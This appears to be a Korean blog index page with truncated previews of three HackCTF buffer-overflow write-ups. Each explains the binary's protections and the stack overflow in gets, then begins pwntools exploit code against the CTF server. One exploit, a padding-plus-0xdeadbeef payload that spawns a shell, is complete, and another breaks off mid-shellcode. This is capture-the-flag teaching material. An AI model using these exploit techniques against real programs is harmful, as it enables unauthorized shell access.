Buffer Overflow15 Simple_size_bof 1. Mitigation 2. 문제 확인 자살방지 문제라고 나오고 buf주소와 값을 입력받고 프로그램을 종료한다. 3. 풀이 IDA로 파일을 열어보면 puts에서 자살방지 문자열이 출력되고 그 다음 buf 주소를 출력해준 다음 입력을 받는다. gets 부분에서 BOF가 일어난다. buf의 사이즈가 0x6d30이니 Dummy * 0x6d30 + SFP + buf addr로 리턴해주면 될것이다. exploit from pwn import * p = remote('ctf.j0n9hyun.xyz', 3005) print p.recvuntil(': ') buf_addr = int(p.recv(14), 16) print 'buf addr = ' + hex(buf_addr) shellcode = '\x31\xc0\x.. 2021. 3. 16. 내 버퍼가 흘러넘친다!!! 이번 문제는 내 버퍼가 흘러넘친다!!! 라는 이름을 가진 Buffer Overflow 문제이다. 1. Mitigation 보호기법은 Partial RELRO 말고는 걸려있는건 없다. 2. 문제 확인 프로그램을 실행하면 Name과 input문자열이 나타나는데 입력을해보면 별다른 출력 없이 프로그램이 종료한다. 문제에대해 분석 해보자. 3. 풀이 메인 함수 부분을 살펴보면 name함수에 입력 값을 받는데 name 변수는 bss영역에 있다. 그리고 난후 s변수에 값을 입력받는다. 그렇다면 bss영역인 name에 쉘코드를 입력하고 s 변수를 통해 리턴 주소를 name 변수 주로소 조작하면 쉘이 따질것이다. exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 30.. 2021. 3. 16. Basic_BOF HackCTF의 첫 번째 문제인 Basic_BOF이다. checksec을 통해 보면 RELRO가 Partial RELRO이고 Canary는 없고 PIE도 설정되어 있지 않다. 코드를 보면 45바이트 만큼 입력 받을 수 있고 s와 v5의 오프셋은 0x28이다. 그렇다면 s로 부터 40 바이트 만큼 더미값을 주고 0xdeadbeef값을 넣어주면 쉘을 획득할 수 있을 것이다. exploit code from pwn import * p = remote('ctf.j0n9hyun.xyz', 3000) payload = 'A'*40 payload += p64(0xdeadbeef) p.send(payload) p.interactive() 2021. 3. 8. 이전 1 2 3 4 다음